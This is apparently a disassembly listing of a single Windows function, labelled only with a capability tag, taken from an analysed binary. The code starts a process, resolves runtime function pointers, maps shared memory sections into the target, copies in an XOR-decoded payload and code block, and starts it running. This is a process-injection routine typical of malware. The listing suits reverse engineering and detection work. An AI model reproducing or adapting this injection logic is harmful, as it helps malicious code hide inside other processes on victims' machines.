Function at 0x40b150
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010c
call fcn.00422cb0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
push eax
call fcn.0040cd30
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40bb2c
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x10018]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x43229c
lea eax, [ebp - 0x10018]
push eax
call fcn.0041de50
add esp, 8
xor ecx, ecx
mov word [eax], cx
push 0x44
lea edx, [ebp - 0x10078]
push edx
call fcn.0041dee0
add esp, 8
mov dword [ebp - 0x10078], 0x44
mov dword [ebp - 0x1004c], 0x81
xor eax, eax
mov word [ebp - 0x10048], ax
mov ecx, dword [ebp + 0xc]
neg ecx
sbb ecx, ecx
and ecx, 4
mov dword [ebp - 0x1002c], ecx
lea edx, [ebp - 0x10028]
push edx
lea eax, [ebp - 0x10078]
push eax
lea ecx, [ebp - 0x10018]
push ecx
push 0
mov edx, dword [ebp - 0x1002c]
push edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [0x48a0a8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jne 0x40bb22
push 0x4322a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x10080], eax
push 0x4322b4
mov ecx, dword [ebp - 0x10080]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10090], eax
push 0x4322c4
mov edx, dword [ebp - 0x10080]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10098], eax
push 0x4322d8
mov eax, dword [ebp - 0x10080]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10084], eax
push 0x4322ec
mov ecx, dword [ebp - 0x10080]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10088], eax
push 0x432304
mov edx, dword [ebp - 0x10080]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1008c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1007c], eax
cmp dword [ebp - 0x10090], 0
je 0x40badf
cmp dword [ebp - 0x10098], 0
je 0x40badf
cmp dword [ebp - 0x10084], 0
je 0x40badf
cmp dword [ebp - 0x10088], 0
je 0x40badf
cmp dword [ebp - 0x1008c], 0
je 0x40badf
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100b0], eax
mov ecx, dword [ebp - 0x100b0]
mov edx, dword [ebp - 0x100b0]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x100a8], edx
mov eax, dword [ebp - 0x100a8]
add eax, 0x18
mov dword [ebp - 0x100ac], eax
mov dword [ebp - 0x100a4], 0
mov dword [ebp - 0x100a0], 0x91c
mov dword [ebp - 0x1009c], 0
push 0
push 0x8000000
push 4
lea ecx, [ebp - 0x100a0]
push ecx
push 0
push 6
lea edx, [ebp - 0x100a4]
push edx
call dword [ebp - 0x10090]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40badf
mov dword [ebp - 0x100b4], 0
mov dword [ebp - 0x100b8], 0x91c
push 4
push 0
push 2
lea eax, [ebp - 0x100b8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x100b4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0x100a4]
push edx
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40bad2
mov dword [ebp - 0x100bc], 0
push 4
push 0
push 2
lea eax, [ebp - 0x100b8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x100bc]
push ecx
mov edx, dword [ebp - 0x10028]
push edx
mov eax, dword [ebp - 0x100a4]
push eax
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40babe
mov dword [ebp - 0x100cc], 0
mov ecx, 0x40c770
sub ecx, 0x40bb40
mov dword [ebp - 0x100c0], ecx
mov edx, dword [ebp - 0x100c0]
xor eax, eax
mov dword [ebp - 0x100c8], edx
mov dword [ebp - 0x100c4], eax
push 0
push 0x8000000
push 0x40
lea ecx, [ebp - 0x100c8]
push ecx
push 0
push 0xe
lea edx, [ebp - 0x100cc]
push edx
call dword [ebp - 0x10090]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40babe
mov dword [ebp - 0x100d0], 0
mov eax, dword [ebp - 0x100c0]
mov dword [ebp - 0x100d4], eax
push 0x40
push 0
push 2
lea ecx, [ebp - 0x100d4]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x100d0]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x100cc]
push eax
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40bab1
mov dword [ebp - 0x100d8], 0
push 0x40
push 0
push 2
lea ecx, [ebp - 0x100d4]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x100d8]
push edx
mov eax, dword [ebp - 0x10028]
push eax
mov ecx, dword [ebp - 0x100cc]
push ecx
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40ba9d
mov edx, dword [ebp - 0x100c0]
push edx
push 0x40bb40
mov eax, dword [ebp - 0x100d0]
push eax
call fcn.004228c0
add esp, 0xc
mov ecx, dword [ebp - 0x100b4]
mov dword [ebp - 0x100dc], ecx
push 0x43230c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x100e0], eax
push 0x432328
mov edx, dword [ebp - 0x100e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x100dc]
mov dword [ecx], eax
push 0x432338
mov edx, dword [ebp - 0x100e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x100dc]
mov dword [ecx + 4], eax
push 0x432348
mov edx, dword [ebp - 0x100dc]
add edx, 8
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x432364
mov eax, dword [ebp - 0x100dc]
add eax, 0xd2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x43237c
mov ecx, dword [ebp - 0x100dc]
add ecx, 0x19c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x432390
mov edx, dword [ebp - 0x100dc]
add edx, 0x266
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432398
mov eax, dword [ebp - 0x100dc]
add eax, 0x2ca
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323a8
mov ecx, dword [ebp - 0x100dc]
add ecx, 0x32e
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323b4
mov edx, dword [ebp - 0x100dc]
add edx, 0x3f6
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323c4
mov eax, dword [ebp - 0x100dc]
add eax, 0x45a
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323d0
mov ecx, dword [ebp - 0x100dc]
add ecx, 0x4be
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323dc
mov edx, dword [ebp - 0x100dc]
add edx, 0x522
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323e8
mov eax, dword [ebp - 0x100dc]
add eax, 0x586
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4323f4
mov ecx, dword [ebp - 0x100dc]
add ecx, 0x5ea
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432404
mov edx, dword [ebp - 0x100dc]
add edx, 0x6b2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x43241c
mov eax, dword [ebp - 0x100dc]
add eax, 0x64e
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432430
mov ecx, dword [ebp - 0x100dc]
add ecx, 0x716
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x100dc]
mov dword [edx + 0x77c], 1
mov eax, dword [ebp - 0x100dc]
mov ecx, dword [0x47ed58]
mov dword [eax + 0x780], ecx
mov dword [ebp - 0x100ec], 0
mov eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x100e8], eax
mov dword [ebp - 0x100e4], edx
push 0
push 0x8000000
push 4
lea edx, [ebp - 0x100e8]
push edx
push 0
push 6
lea eax, [ebp - 0x100ec]
push eax
call dword [ebp - 0x10090]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40ba9d
mov dword [ebp - 0x100f4], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x100f0], ecx
push 4
push 0
push 2
lea edx, [ebp - 0x100f0]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0x100f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0x100ec]
push ecx
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40ba90
mov dword [ebp - 0x100f8], 0
push 4
push 0
push 2
lea edx, [ebp - 0x100f0]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0x100f8]
push eax
mov ecx, dword [ebp - 0x10028]
push ecx
mov edx, dword [ebp - 0x100ec]
push edx
call dword [ebp - 0x10098]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40ba7c
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x100f4]
push edx
call fcn.004228c0
add esp, 0xc
mov eax, dword [ebp - 8]
shr eax, 2
mov dword [ebp - 0x100fc], eax
mov dword [ebp - 0x10104], 0
jmp 0x40b836
mov ecx, dword [ebp - 0x10104]
add ecx, 1
mov dword [ebp - 0x10104], ecx
mov edx, dword [ebp - 0x10104]
cmp edx, dword [ebp - 0x100fc]
jge 0x40b86a
mov eax, dword [ebp - 0x10104]
mov ecx, dword [ebp - 0x100f4]
mov edx, dword [ecx + eax*4]
xor edx, dword [0x47ed58]
mov eax, dword [ebp - 0x10104]
mov ecx, dword [ebp - 0x100f4]
mov dword [ecx + eax*4], edx
jmp 0x40b827
mov edx, dword [ebp - 0x100dc]
mov eax, dword [ebp - 0x100f8]
mov dword [edx + 0x914], eax
mov ecx, dword [ebp - 0x100dc]
mov edx, dword [ebp - 8]
mov dword [ecx + 0x918], edx
mov dword [ebp - 0x10100], 0
push str.15A74F20_2E2A_4934_BEF7_7C6031C32364
push 0
push 1
push 0
call dword [0x48a0a4]
mov dword [ebp - 0x10100], eax
cmp dword [ebp - 0x10100], 0
je 0x40ba7c
mov dword [ebp - 0x10108], 0
push 0
lea eax, [ebp - 0x10108]
push eax
mov ecx, dword [ebp - 0x100bc]
push ecx
mov edx, dword [ebp - 0x100d8]
push edx
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x10028]
push eax
call dword [ebp - 0x10084]
mov dword [ebp - 0x10094], eax
cmp dword [ebp - 0x10094], 0
jl 0x40ba62
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x10028]
mov dword [ecx], edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10020]
mov dword [eax + 8], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x10024]
mov dword [edx + 4], eax
push 0x1388
mov ecx, dword [ebp - 0x10100]
push ecx
call dword [0x48a0b4]
mov dword [ebp - 0x1010c], eax
mov edx, dword [ebp - 0x10100]
push edx
call dword [0x48a160]
cmp dword [ebp - 0x1010c], 0x102
je 0x40ba1e
mov eax, dword [ebp - 0x100bc]
push eax
mov ecx, dword [ebp - 0x10028]
push ecx
call dword [ebp - 0x10088]
mov edx, dword [ebp - 0x100d8]
push edx
mov eax, dword [ebp - 0x10028]
push eax
call dword [ebp - 0x10088]
mov ecx, dword [ebp - 0x100f8]
push ecx
mov edx, dword [ebp - 0x10028]
push edx
call dword [ebp - 0x10088]
mov eax, dword [ebp - 0x100b4]
push eax
mov ecx, dword [ebp - 0x1007c]
push ecx
call dword [ebp - 0x10088]
mov edx, dword [ebp - 0x100d0]
push edx
mov eax, dword [ebp - 0x1007c]
push eax
call dword [ebp - 0x10088]
mov ecx, dword [ebp - 0x100f4]
push ecx
mov edx, dword [ebp - 0x1007c]
push edx
call dword [ebp - 0x10088]
mov eax, dword [ebp - 0x100a4]
push eax
call dword [ebp - 0x1008c]
mov ecx, dword [ebp - 0x100cc]
push ecx
call dword [ebp - 0x1008c]
mov edx, dword [ebp - 0x100ec]
push edx
call dword [ebp - 0x1008c]
mov eax, dword [ebp - 0x10100]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x48a0a0]
mov eax, 1
jmp 0x40bb2e
push 0
mov edx, dword [ebp - 0x10028]
push edx
call dword [0x48a0c0]
mov eax, dword [ebp - 0x10028]
push eax
call dword [0x48a08c]
mov ecx, dword [ebp - 0x10024]
push ecx
call dword [0x48a08c]
mov dword [ebp - 0x10028], 0
mov dword [ebp - 0x10024], 0
mov dword [ebp - 0xc], 1
mov edx, dword [ebp - 0x10100]
push edx
call dword [0x48a160]
mov eax, dword [ebp - 0x10100]
push eax
call dword [0x48a08c]
mov ecx, dword [ebp - 0x100f4]
push ecx
mov edx, dword [ebp - 0x1007c]
push edx
call dword [ebp - 0x10088]
mov eax, dword [ebp - 0x100ec]
push eax
call dword [ebp - 0x1008c]
mov ecx, dword [ebp - 0x100d0]
push ecx
mov edx, dword [ebp - 0x1007c]
push edx
call dword [ebp - 0x10088]
mov eax, dword [ebp - 0x100cc]
push eax
call dword [ebp - 0x1008c]
mov ecx, dword [ebp - 0x100b4]
push ecx
mov edx, dword [ebp - 0x1007c]
push edx
call dword [ebp - 0x10088]
mov eax, dword [ebp - 0x100a4]
push eax
call dword [ebp - 0x1008c]
cmp dword [ebp - 0xc], 0
jne 0x40bb22
push 0
mov ecx, dword [ebp - 0x10028]
push ecx
call dword [0x48a0c0]
mov edx, dword [ebp - 0x10028]
push edx
call dword [0x48a08c]
mov eax, dword [ebp - 0x10024]
push eax
call dword [0x48a08c]
mov dword [ebp - 0x10028], 0
mov dword [ebp - 0x10024], 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x48a0a0]
xor eax, eax
mov esp, ebp
pop ebp
ret